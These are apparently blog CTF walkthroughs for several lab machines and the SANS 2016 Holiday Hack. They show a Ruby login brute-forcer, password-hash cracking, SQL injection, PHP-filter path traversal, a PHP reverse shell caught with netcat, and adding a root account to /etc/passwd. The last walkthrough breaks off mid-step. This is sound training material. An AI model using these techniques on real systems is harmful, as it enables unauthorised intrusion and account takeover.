MD5 decoded evidence

There seems to be an additonal hint: “Clue = new+flag

Flag 5

Hint:The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices” and “evidence“.

A quick research of this FBI page didn’t reveal much. At first I though the “new+flag” clue hinted at a Javascript function. So I whipped out the Firefox console and quick faced reality, it wasn’t related to Javascript at all. So, what could it be? Trying path “/newevidence” on webserver brought me a login dialog:

sdc-login-dialog
Login

Trying to log on running the request through BurpSuite I find that the logon uses Base64 for authorization:

sdc-login-base64-based
Authorization header field

Clearly I need to find a usable username. From looking at the comments in “html5.js” I remember that FBI uses this scheme when registering e-mail addresses:

firstname.surname@blahblah

The portal from Flag 4 greeted me as “Hanratty“. “Mr. Hanratty” is a character from the movie “Catch me if you can“. I admit – I’m not much into american movies so I had to Google a bit for this one. Anyway I found a clue that “Mr. Hanratty’s” firstname is Carl. Watching said movie isn’t an option so I’ll retort to brute forcing the login. Somehow I couldn’t get my fuzzers to work for this, so I wrote my own for the kick of it using Ruby:

require "net/http"
require "uri"
require "base64"

target_url = URI.parse(ARGV[0])
username = ARGV[1]
passwordfile = ARGV[2]

File.open(passwordfile).each do | password |
    request = Net::HTTP::Get.new(target_url.path)
    fuzz_value = Base64.encode64("#{username}:#{password}".strip)

    request.add_field("User-Agent", "Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)")
    request.add_field("Accept",   "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
    request.add_field("Accept-Language", "en-US,en;q=0.5")
    request.add_field("Accept-Encoding", "gzip, deflate")
    request.add_field("Authorization", "Basic #{fuzz_value}".strip)

    response = Net::HTTP.new(target_url.host, target_url.port).start do |http|
        http.request(request)
    end

    puts("Trying #{password}")

    if response.code == "200"
        puts("Password is: #{password}")
         break
    end
end

Ran it using the “rockyou” wordlist:

$ ruby basicfuzzer.rb http://192.168.110.9/newevidence/ carl.hanratty /home/reedphish/Hacking/rockyou.txt

After a while it spat out that the password is “Grace“.

Logging in using username “carl.hanratty” and password “Grace” I landed at his page:

SDC - Flag 5.png
New evidence

After looking at the links I found the fifth flag in the “Evidence Summary File” link.

Flag decoded

What Value
Flag flag{117c240d49f54096413dd64280399ea9}
MD5 decoded panam

Flag 6

Hint: “Where in the World is Frank?” and “panam

Looking at the other links on the very same page, I find the following files:

What Name
Image image.jpg
PDF Invoice.pdf

Running Binwalk on image.jpg:

sdc-binwalk-on-image
I could Binwalk 500 miles

Maybe this is steganography? Trying Steghide:

$ steghide info image.jpg

By luck I tried “panam” as password and I got this output:

sdc-steghide-hidden-file
Hidden file detected

Extracting it:

$ steghide extract -sf image.jpg

This left me with a file called “flag.txt” containing the following lines:

line
flag{d1e5146b171928731385eb7ea38c37b8}
=ILoveFrance
clue=iheartbrenda

Flag decoded

What Value
Flag flag{d1e5146b171928731385eb7ea38c37b8}
MD5 decoded ILoveFrance

Flag 7

Hint:Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!“, “ILoveFrance” and “iheartbrenda

It appears we’re on the movie reference track again:

  • France: Main character was apprehended in France.
  • Brenda: Frank Abagnale fell in love with a girl named Brenda.
  • “I’m The Fastest Man Alive”: Appears to a reference to “The Flash”. Coincidentally “The Flash” real name is Barry Allen, and that name also appears in this movie. Frank Abagnale uses this name … “iheartbrenda” appears to be related to this soup and it may be a password.

Given the small analysis above, there’s one place I haven’t looked much at yet. SSH! Using username “barryallen” and password “iheartbrenda” I am allowed access. A quick “ls” revealed a text file containing the flag.

SDC - Flag 7.png
More SSH

Flag decoded

What Value
Flag flag{bd2f6a1d5242c962a05619c56fa47ba6}
MD5 decoded theflash

Flag 8

Hint:Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!” and “theflash

While looking through Barry’s home directory I see there’s a file named “security-system.data“. I copy it down to my computer.

Determining what kind of file this is:

$ file security-system.data
sdc-running-file-on-securitysystemdata
It’s a Zip!

So it is a Zip file. Unzipping it yields a 1GB file:

sdc-securitysystemdata-1gb
Big file

Running “file” on this file just states it is a “data” file. Given the hints so far, the file looks like it could be a memory dump of some sorts. Just look at these hints

  • Frank lost his mind OR memory.
  • Flash

Kinda leads you on a certain track, doesn’t it? Anyway, it’s time for some memory forensics using the “Volatility Framework“. First, list out processes:

$ volatility -f security-system.data pslist
sdc-volatility-processlist
Notepad in the house

Looking at the process list there’s not that much interesting going on except one instance of “Notepad.exe” (pid 268). We might be lucky it containing some information.

$ volatility -f security-system.data cmdline --pid 268
sdc-volatility-notepad-open-document
Notepad open file

Looking at the content

$ volatility -f security-system.data notepad
sdc-volatility-looking-at-notepad-content
Content of file open in Notepad

A HEX string? That’s interesting. Decoding it using “Hex to ASCII text converter“:

What Value
Hex 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d
Flag flag{841dd3db29b0fbbd89c7b5be768cdc81}

Flag decoded

Cracked the MD5 using Hashkiller MD5 Decrypter.

What Value
Flag flag{841dd3db29b0fbbd89c7b5be768cdc81}
MD5 decoded Two[space]little[space]mice

Contact

If you enjoyed this walkthrough, please share and contact me on Twitter (@reedphish)!

Writeup: THE 2016 SANS HOLIDAY HACK CHALLENGE

After much stress in November and the beginning of December I felt I needed a break from my normal routine of writing my two monthly blog posts. One evening I sat at home wondering what to write about I found that the Sans Holiday Hack Challenge had just begun. I quickly decided to play spend some time playing this game. The following blog post covers my writeup submitted to Sans after solving the challenges. I submitted my writeup in PDF format – this post is almost a direct representation of it.

Part 1: A Most Curious Business Card

Assignment

Part 1 consists of two questions, original numbering kept for reference

1) What is the secret message in Santa’s tweets?
2) What is inside the ZIP file distributed by Santa’s team?

Unfolding

What is the secret message in Santa’s tweets?

Assignment text hints heavily on Santa’s business card – which can be found as an image on the Sans Holiday Hack Challenge 2016 website. The business card gives away the following Twitter and Instagram profile name:

  • Twitter: @santawclaus
  • Instagram: @santawclaus

Preface text to assignment hint at a tool called “Twime Machine” – which is a tool for extracting all tweets for a given user. Using said tool it is trivial to download the Mr. Claus’s tweets. The clue, however, is to determine the hidden message in said tweets to find the hidden message.

Sifting through the tweets it’s made clear that Mr. Claus has embedded characters that appears misplaced, as depicted in the following picture:

tweets-misplaced-characters
Embedded characters in tweets

The characters appear at various places in each tweet and forms an ASCII art text which can be revealed in a proper viewing tool. Copying the extracted tweets over to Sublime editor, the hidden message will display in the navigation mini map:

twitter-message
Secret message

The secret message in Mr. Claus’s tweets: “BUG BOUNTY”.

What is inside the ZIP file distributed by Santa’s team?

The following picture extracted from Mr. Claus’ Instagram account reveal useful information to find the mentioned Zip file:

santas-apk-hint
Finding secrets in image

Clues

What Where Clue
Zip filename Laptop screen SantaGram_v4.2.zip
URL Paper sheet near “Violent Python” book www.northpolewonderland.com

A combination of these clues reveal a successful download link from URL
http://www.northpolewonderland.com/SantaGram_v4.2.zip

The Zip file is password protected. Given limited information at present stage in game best effort was made by using information from assignment 1. Various combination of the sentence “BUG BOUNTY” lead to disclosure of the password as “bugbounty”. The Zip archive contains an Android application (APK) – an Instagram clone called SantaGram.

Part 2: Awesome Package Konveyance

Assignment

Part 2 consists of two questions, original numbering kept for reference

3) What username and password are embedded in the APK file?
4) What is the name of the audible component (audio file) in the SantaGram APK file?

Unfolding

What username and password are embedded in the APK file?

Reverse engineering of this APK were done using APKTool from Linux command line followed up by searching for common strings “username” and “password” on the results, as outlined by these commands (on Linux)

$ apktool d SantaGram_4.2.apk
$ grep -Rni “username” *
$ grep -Rni “password” *

Commands revealed the following results

What Value
Username guest
Password busyreindeer78
File smali/com/northpolewonderland/santagram/b.smali

What is the name of the audible component (audio file) in the SantaGram APK file?

The audio file was found using similar approach as in question 3, searching for known audio file extensions. Sound file were found in “SantaGram_4.2/res/raw”. The name of the sound file is: “discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi

Assignment

Part 3 consists of two questions, original numbering kept for reference

5) What is the password for the “cranpi” account on the Cranberry Pi system?
6) How did you open each terminal door and where had the villain imprisoned Santa?

Unfolding

What is the password for the “cranpi” account on the Cranberry Pi system?

Pieces of a «Cranberry Pi», a knock off Raspberry Pi, is scattered around the North pole and for this game to progress the pieces must be found and returned in exchange for the “Cranberry Pi” software image itself; which this assignment is based on.

Pieces that had to be obtained

  • Power Cord
  • Cranberry Pi Board
  • HDMI cable
  • SD Card
  • Heat Sink

Location for each piece is withheld from this report due to the elf responsible said so and offered me cookies. Upon completion, all part was presented to elf “Holly Evergreen” in exchange for the software image “cranbian.img.zip”. “Holly Evergreen” also gave this download link:

https://www.northpolewonderland.com/cranbian.img.zip

Finding offset for mounting the image on Linux

With the image in hand it was time to mount it inside my Linux installation to peek at it. First step, finding the offset for mounting:

cranbian-fdisk
Finding offset for mounting
Calculating offset
start * blocksize = 137216 * 512 = 70254592

With the offset, mount image inside Linux:

$ mount -o loop,offset=70254592 cranbian-jessie.img /mnt/hacking

By mounting it inside Linux it is possible to freely navigate the file and folder structure. Since “Cranberry Pi” is based on Linux and assignment is to retrieve the password for the “cranpi” user, we can easily do so by extracting the “shadow” and “passwd” file and then crack it; as evident by the following commands

$ cd /mnt/hacking/etc/
$ cp passwd /home/reedphish/sans2016/
$ cp shadow /home/reedphish/sans2016/
$ cd /home/reedphish/sans2016/
$ /usr/sbin/unshadow passwd shadow > cranbian-passwords.txt
$ /usr/sbin/john cranbian-passwords.txt --wordlist=/home/reedphish/Hacking/rockyou.txt
Cracking the password
cranbian-john-password-cracking
Cracking password

Question solved by removing all other users from said files; then using “John The Ripper” together with the “Rockyou” wordlist. This process revealed that password for the “cranpi” user is “yummycookies”.

How did you open each terminal door?

Terminal 1

The first terminal is located at the far North on the game map. Main goal is to uncover the contents of a hidden file. Upon opening and issuing the “find” command without arguments command lists the current folder structure

terminal-1
Folder structure

Someone created a folder structure using spaces, slashes, etc. to obfuscate the file location. Following is a breakdown of how to enter the folder the file is stored in:

$ find
$ cd .doormat
$ ls -al
$ cd ". "
$ ls -al
$ cd " "
$ ls -al
$ cd '\'
$ ls -al
$ cd '\\'
$ cd Don*
$ ls -al
$ cd You*
$ ls -al
$ cd "'"
$ cat key_for_the_door_txt

Result of last command were “open_sesame”.

Terminal 2

Terminal 2 is located to the east of terminal 1; in the “train station”. Upon access terminal presents the “Train Management Console”. Novice users untrained on this console would naturally seek assistance using the “HELP” command. Internally “HELP” command show the associated help text file using the Linux command “less”. This console is vulnerable by hitting “escape” key and entering the following command: “!” or “!/bin/bash”. This will drop users into a shell. A quick “ls” reveal the following files:

  • ActivateTrain
  • TrainHelper.txt
  • Train_Console

Executing the file “ActivateTrain” will start the train, thus bypassing restrictions implemented in “Train_Console”. As a side note, train is a time travel vessel taking North pole clientele back to 1978.

terminal-2
Train Management Console

Terminal 3

Terminal 3 is located to the west of train station, near the reindeer stable. This terminal contain a game for finding the passphrase from the “Wumpus”. Game can be played normally or you can choose to cheat. Game is extremely easy to play and leads to the passphrase “WUMPUS IS MISUNDERSTOOD” by shooting when you smell the “Wumpus“.

terminal-3
Wumpus

Terminal 4

Fourth terminal is found in “Elf House 2”. The essence of the assignment is to read a pcap file using either “tcpdump” or “strings” command; which both are locked down to the “itchy” user. The passphrase for this terminal consists of two parts – which only the first part being covered in this report.

Using “strings” on the pcap is done through the following command

$ sudo -u itchy /usr/bin/strings –data -n 50 out.pcap

The above command will extract text of at least 50 characters wide and display it on screen. This leads to a hint for the first password part:

"lt;input name="”part1”" type="”hidden”" value="”santasli”" />

With a little imagination, the entire passphrase can be guessed to be “santaslittlehelper”. Being creative is hacking, too.

terminal-4-sudo-l
Sudo operations
Terminal 5

The fifth terminal was found in “Santa’s Office”. Upon access, it presents a cryptic welcome text “GREETINGS PROFESSOR FALKEN.

The greeting stem from the “WarGames” movie. By following the dialogue from the movie word for word the associated passphrase is revealed.

Dialogue, as played:

Computer text Answer
GREETINGS DOCTOR FALKEN. Hello.
HOW ARE YOU FEELING TODAY? I’m fine. How are you?
EXCELLENT, IT’S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6 /23/73 People sometimes make mistakes.
YES THEY DO. SHALL WE PLAY A GAME Love to. How about Global Thermonuclear War?
WOULDN’T YOU PREFER A GOOD GAME OF CHESS? Later. Let’s play Global Thermonuclear War.
FINE

At the end, the computer asked me to add target. I entered “Las Vegas” and then I got the passphrase “LOOK AT THE PRETTY LIGHTS

terminal-5
Hello there professor Falken

Where had the villain imprisoned Santa?

Finding Santa involved exploiting the various terminals found scattered around the North pole. Santa was imprisoned in the far north of the map, in the reindeer dungeon (DFER); in 1978.

found-santa-1978
Found Santa!

Part 4: My Gosh… It’s Full of Holes

Assignment

Part 4 consists of two questions, original numbering kept for reference

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

For each of those six items, which vulnerabilities did you discover and exploit?
REMEMBER, YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE NORTH POLE EXPLICITLY ACKNOWLEDGES AS “IN SCOPE.” ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Please note: Although each system is remotely exploitable, we DO NOT expect every participant to compromise every element of the SantaGram infrastructure. Gain access to the ones you can. Although we will give special consideration to entries that successfully compromise all six vulnerabilities and retrieve their audio files, we happily accept partial answers and point out that they too are eligible for any of the prizes.

Unfolding

Changed strategy for the APK by decompiling it using “Jadx“. Having the Java source ready makes grepping way easier. I found All URL’s in this section by recursive grep search in SantaGram Android APK; all URL’s found in file “/res/values/strings“.

Exploiting targets

The Mobile Analytics Server (via credentialed login access)

URL IP
https://analytics.northpolewonderland.com/report.php?type=launch 104.198.252.157
Methodology

1) URL opened in Firefox.
2) Logged in using username “guest” and password “busyreindeer78”.
3) Noticed menu option stating “MP3”. Clicked it – downloaded “discombobulatedaudio2.mp3

discombobulatedaudio2-mp3
MP3 download option in menu

The Dungeon Game

URL IP
http://dungeon.northpolewonderland.com/ 35.184.47.139
Methodology

1) Port scanned the target
2) Found port 11111 interesting
3) Connected to port using Netcat
4) Noticed game resembled “Zork
5) Googled the manual (http://gunkies.org/wiki/Zork_hints)
6) Found out the GDT DT (Display Text) command which return text used in game based on offset.
7) Tried setting the offset high (1200) and back stepped in increments of 50 until it returned text. Then increased offset to find correct offset. Found offset 1024 returning text mentioning sending an email.
8) Created a Guerilla Mail “account” and sent an email. Soon afterwards I got a reply containing the audio file “discombobulatedaudio3.mp3”.

discombobulatedaudio3-mp3
E-mail reply

The Debug Server

URL IP
http://dev.northpolewonderland.com/index.php 35.184.63.245
Methodology

1) Recursively grepped “debug” in SantaGram APK. Found reference to

http://dev.northpolewonderland.com/index.php

2) Visited URL in Firefox – page displayed no content.
3) Recursively grepped “debug_data_collection_url”; found it referenced in
com/northpolewonderland/santagram/EditProfile.java

4) Replicated the POST message in BurpSuite using following request

POST /index.php HTTP/1.1
Host: dev.northpolewonderland.com
Content-Type: application/json
Content-Length: 150

{
"date": 2,
"udid": 1,
"debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem": 1
}

The “debug” key needed some time to grasp.

5) Noticed return value contained key “verbose”. Added it to POST request

POST /index.php HTTP/1.1
Host: dev.northpolewonderland.com
Content-Type: application/json
Content-Length: 150

{
"date": 2,
"udid": 1,
"debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem": 1,
"verbose": true
}

6) Endpoint returned the following answer containing a reference to the MP3 file

{"date":"20161226094132","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161226094132-0.txt","filename.len":26,"request":{"date":2,"udid":1,"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":1,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161226091854-0.txt","debug-20161226092035-0.txt","debug-20161226093735-0.txt","debug-20161226093743-0.txt","debug-20161226094122-0.txt","debug-20161226094132-0.txt","index.php"]}

7) Downloaded the MP3 from

URL
http://dev.northpolewonderland.com/debug-20161224235959-0.mp3

The Banner Ad Server

URL IP
http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5 104.198.221.240
Methodology

1) Recursively grepped “ads.” in SantaGram APK. Found reference to

http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5

2) Read this blog: https://pen-testing.sans.org/blog/2016/12/06/mining-meteor?reply-to-comment=9637
3) Downloaded Chromium
4) Added TamperMonkey
5) Added Meteor Miner script: https://github.com/nidem/MeteorMiner
6) Navigated around and landed on: http://ads.northpolewonderland.com/admin/quotes
7) Looked at ”HomeQuotes” using the TamperMonkey script
8) Ran this command in Chrome Console: HomeQuotes.find().fetch()
9) Noticed one of the objects marked as “hidden
10) Opened the object and found a link to the object

discombobulatedaudio5
Meteor mining

11) Opened the reference and downloaded “discombobulatedaudio5.mp3

The Uncaught Exception Handler Server

URL IP
http://ex.northpolewonderland.com/exception.php 104.154.196.33

Methodology

1) Recursively grepped “exception” in SantaGram APK. Found reference to

http://ex.northpolewonderland.com/exception.php

2) Visited URL in Firefox; got message that it only accepts POST requests
3) Sent an empty POST request using BurpSuite

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
Content-Length: 6
Content-type: application/json

4) Got reply “POST contains invalid JSON!
5) Sent another request with an empty JSON object, got reply

Fatal error! JSON key ‘operation’ must be set to WriteCrashDump or ReadCrashDump.

6) Sent another request with “operation” set to “ReadCrashDump”, got reply

Fatal error! JSON key ‘data’ must be set.

7) Sent another request with “data” set to blank (“”), got reply

Fatal error! JSON key ‘crashdump’ must be set.

8) Experimented with where to set the “crashdump” key. Ended up with the following which caused a HTTP 500 error

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
Content-Length: 66
Content-type: application/json

{
"operation": "ReadCrashDump",
"data": { "crashdump": "" }
}

9) Reverting to investigate “WriteCrashDump”. Following the same methodology as earlier I ended up with this request

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
Content-Length: 60
Content-type: application/json

{
"operation": "WriteCrashDump",
"data": {}
}

Which caused this reply

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 10:54:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 81

{
"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-lOWfb2.php"
}

10) Since response mention dump being read from the “docs” folder I move on to try to read other files using PHP filters combined with path traversal

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
Content-Length: 150
Content-type: application/json

{
"operation": "ReadCrashDump",
"data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" },
"crashdump": "crashdump"
}

11). Response returned the “exception.php” file in Base64 encoded format. File decoded

discombobulated-audio-6-code
Hidden in PHP

Downloaded file “discombobulated-audio-6-XyzE3N9YqKNH.mp3

The Mobile Analytics Server (post authentication)

URL IP
https://analytics.northpolewonderland.com 104.198.252.157
Methodology

1) Performed a portscan

$ nmap -sC -sV analytics.northpolewonderland.com
  1. Found Git repository on host using Nmap. Downloading repository
$ wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://analytics.northpolewonderland.com/.git

3) Checked out the code

$ git reset --hard

4) Searched for username and password in source

$ git grep "username\s=" $(git rev-list --all)
$ git grep "password\s=" $(git rev-list --all)

Found

  • Username: administrator
  • Password: KeepWatchingTheSkies

5) Logged in on website
6) Created a Query and saved it (query id: 1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1). Just added nonsense to the fields.
7) Viewed the query

https://analytics.northpolewonderland.com/view.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1

8) Edited it to get a feeling on what it does keeping a note on the replies

https://analytics.northpolewonderland.com/edit.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1&name=1&description=1

9) Looked at the “edit.php” source and the database schema “spruce.sql” for the reports and audio table in Git repository. Noticed there’s a query column in reports table.
10) Re-edited the query adding “&query” get parameter – noticed it populated the update statement
11) Opened Burp to see how far I could go manipulating the “query” parameter

GET /edit.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1&name=1&description=1&query=select * from audio; HTTP/1.1
Host: analytics.northpolewonderland.com
Content-Length: 10
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9e6549b049496263a00063b71976884152
DNT: 1

12) Refreshed the “View” page and it listed out the contents of the audio table (MP3 file is named “discombobulatedaudio7.mp3”)

listing-contents-of-mp3-table
Listing audio table

13) MP3 is stored as a blob in the “mp3” column, as pointed out in the SQL schema. Found a way to download the MP3 file by selecting it as Base64 encoded string

GET /edit.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1&name=1&description=1&query=select TO_BASE64(mp3) from audio where username="administrator"; HTTP/1.1
Host: analytics.northpolewonderland.com
Content-Length: 10
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9e6549b049496263a00063b71976884152
DNT: 1

14) Refreshed the “View” page and got a Base64 string

Analytics 2 base64 mp3.png
Base64 encoded MP3

15) Inspected element in Firefox and copied it to Sublime, then removed all spaces. Saved the file as text file and ran Base64 decode on it

$ cat discombobulatedaudio7.txt | base64 -d > discombobulatedaudio7.mp3

16) Filename is “discombobulatedaudio7.mp3

What are the names of the audio files you discovered from each system above?

Server Name
Android APK discombobulatedaudio1.mp3
Mobile Analytics Server 1 discombobulatedaudio2.mp3
The Dungeon Game discombobulatedaudio3.mp3
Debug Server debug-20161224235959-0.mp3
Banner Ad Server discombobulatedaudio5.mp3
The Uncaught Exception Handler Server discombobulated-audio-6-XyzE3N9YqKNH.mp3
Mobile Analytics Server 2 discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

Assignment

Part 5 consists of two questions, original numbering kept for reference

9) Who is the villain behind the nefarious plot
10) Why had the villain abducted Santa?
Unfolding

Who is the villain behind the nefarious plot

To descramble the audio files, I merged the files together in sequence by using “Merge Mp3” on my Windows host. Then opened the concatenated file in “Audacity”. I removed any blank spots and reduced noise to make speech stand out. Toyed with the pitch to make the sound stand out even more. Finally, I played with various speeds. At the end, I had a sound file ca. 7 seconds in length saying:

Father Christmas, Santa Claus. Or, as I’ve always known him, Jeff.

Googled this phrase and found a quote on IMDB; appears the villain is none other than Dr. Who! Still not quite sure I walked over to the door in the “Corridor” and entered the passphrase. The door unlocked and sure enough, the villain is Dr. Who!

dr-who-1
Dr. Who did it!

A funny side note: there’s a Tardis standing on the desk in Santa’s office.

tardis-on-desk
Tardis on Santa’s desk

Why had the villain abducted Santa?

In the end Dr.Who explains why he abducted Santa:

I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It’s a better life, I tell you, a better world than the scarred one we endure here. give me a world like that. Just once. so I did what I had to do. I knew that Santa’s powerful North Pole Wonderland Magic could prevent the Star Wars Special from being released, if I could leverage that magic with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain integrity of the universe’s timeline. So I had no choice – I had to kidnap him. It was sort of one of those days. Well. You know what I mean. Anyways since you interfered with my plan, we’ll have to live with the Star Wars Holiday Special in this universe .. FOREVER. If we attempt to go back again, to cross our own timeline, we’ll cause a temporal paradox, a wound in time. We’ll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends … All because you foiled my brilliant plan. Nice work.

In addition, Dr. Who is not in his right mind and he is a mad man with a box.

Conclusion

This game was awesome! I particularly liked the length of it, it having side missions (not covered here, obviously) and the variety of the challenges. I found some of the challenges a bit on the easy side, but others fitted my expectations well.

It took some time to cover the side missions. I had some issues finding all the NetWars coin spread across the North pole – but in the end I managed to find them all. I completed the main mission on the 24th December just in time for Christmas dinner.

HackDay Albania – Walkthrough

This segment of my Vulnhub series covers a walkthrough for the HackDay Albania CTF game. From the description:

“This was used in HackDay Albania’s 2016 CTF. The level is beginner to intermediate. It uses DHCP”.

Interesting description that doesn’t hint at anything. This’ll purely be a black box test. Let’s dive in!

Test lab environment

My test lab consists of:

  • Virtual Box
  • Parrot OS
  • HackDay Albania VM

Discovery scan

This image uses DHCP – this means no nasty setup is required. Finding the assigned IP-address:

$ sudo nmap -sn 192.168.110.0/24

Service Scan

With the IP-address nailed down, let’s discover if the target has some services running:

$ sudo nmap -p1-65535 -A -T4 -sS 192.168.110.8
hda-nmap-service-scan
Nmap Service Scan

Initial service scan shows that there are two ports open, namely SSH on 22 and Apache on 8008. The latter seems very interesting by just looking at the disallowed entries list.

First look

The very first thing I decided upon this time was to visit the Apache instance manually instead of hitting it with Nikto. This is the landing page for this game:

hda-firefox-first-visit
Landing page

The message is in Albanian and translates to “If I am, I know where to go;)”. By judging from the Mr.Robot image I am supposed to analyze the _robots.txt__ file.

Robots file

I’ve already made acquaintance with this file in the service scan phase. Back then I didn’t see the full content. Here’s the full content:

Entry
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Visiting a few of these yielded an image of the Philosoraptor meme in Albanian tongue. The philosophical message says “a eshte kjo direktoria e duhur apo po harxhoj kohen kot” which roughly translates to “Is this a proper directory or are jerk”. Okay. It appears I have to traverse these paths to find the next clue.

Browsing through each one I found one path that wasn’t like the others. The path is /unisxcudkqjydw/. Funny, the name of it starts with “unix”. I don’t know if this is a clue or not. Anyhow, the content of that path says “IS there any /vulnbank/ in there ??? “.

Vulnbank

/vulnbank/ is a valid path. Visiting it yields that directory listing is turned on:

hda-content-list-vulnbank
Vulnbank index

Client leads to:

hda-very-secure-bank-login
Login page

A login page! This often means SQL-Injections! Force feeding a single gives:

hda-bank-login-sql-injection-test
SQL-injection testing

I toyed with various standard injections like “‘ OR ‘1’=’1′ –“ and concluded adding “username’#” in the username input as the best option. This’ll leave out the password test portion of the SQL. For this to work I need a to obtain a username. Brute forcing the username seems to be the best approach here.

I wrote a blog post on WFuzz some months ago when I was dealing with the MR. Robot CTF game – I’ll just stick to that for finding a valid username:

$wfuzz -c -d "username=FUZZ'#" -w /usr/share/wordlists/dirb/others/names.txt --hs Invalid http://192.168.110.8:8008/unisxcudkqjydw/vulnbank/client/login.php 
hda-wfuzz-username
Fuzzing login

Found a username, “Jeff” – logging in using the following format:

  • Username = Jeff’#
  • Password: empty

This lead me to a ticketing system of some sorts:

hda-ticketing-system
Ticketing system

Vulnbank ticketing system

Inspecting the page I see

  • There are no comments in the HTML source
  • Directory indexing is on in the “image” folder
  • There’s a “Contact Support” form that has a upload utility.
  • The upload utility only accepts images, as stated by this upload message: “After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc…”

The upload message hints that Vulnbank got hacked at some point. Most likely they allowed uploading PHP files or other executable content. Testing the upload utility with this in mind I:

  • Uploaded an empty file called “test.php”. Upload denied.
  • Uploaded an empty file called “test.php.jpg”. Upload successful.
  • Uploaded an empty file called “test.php%00”. Upload denied.
  • Uploaded an empty file called “test.php%00.jpg”. Upload successful.

This shows that the upload utility only checks the file extension. Lets see what else we got on this page by examining the tickets more closer:

hda-viewing-ticket
Viewing ticket

Inspecting the HTML source I find that the image address points to “view_file.php?filename=test.php%00.jpg”. Loading images by GET seems fishy. Opening the address in a browser yields this error message:

hda-inclusion-error
Inclusion error

Inclusion error? Ok. If you say so.

Adding a backdoor

File inclusion for images? This begs for a PHP backdoor. As always I whip out my trusty old shell:

$ cp /usr/share/webshells/php/php-reverse-shell.php shelly.jpg

Then prep my shell with my IP-address and listening port. Then starts a listener on my end:

$ nc -lvp 7777

Then visit the ticket and voila! My listener got a connection!

hda-backdoor-shell
Backdoor shell

Toying around the “home” directory I find one user – but nothing interesting inside. Except for one file mentioning sudo, nothing really interesting since sudo is pretty common. I also find that Python isn’t installed on this server, escalating privileges using the standard Python route is a dead end. Thinking back on sudo, maybe I can exploit that?

My plan is to add a new root user by injecting a new user string into /etc/passwd. The plan came about when I discovered I had write privileges on it! Here’s what I did:

$ openssl passwd -1
> password set to "test"
> Got password "$1$do00t0eW$XahcUToaH3rJMUxZP05mo1"
$ echo "reed:$1$do00t0eW$XahcUToaH3rJMUxZP05mo1:0:0:reed:/root:/bin/bash" >> /etc/passwd
$ /bin/bash
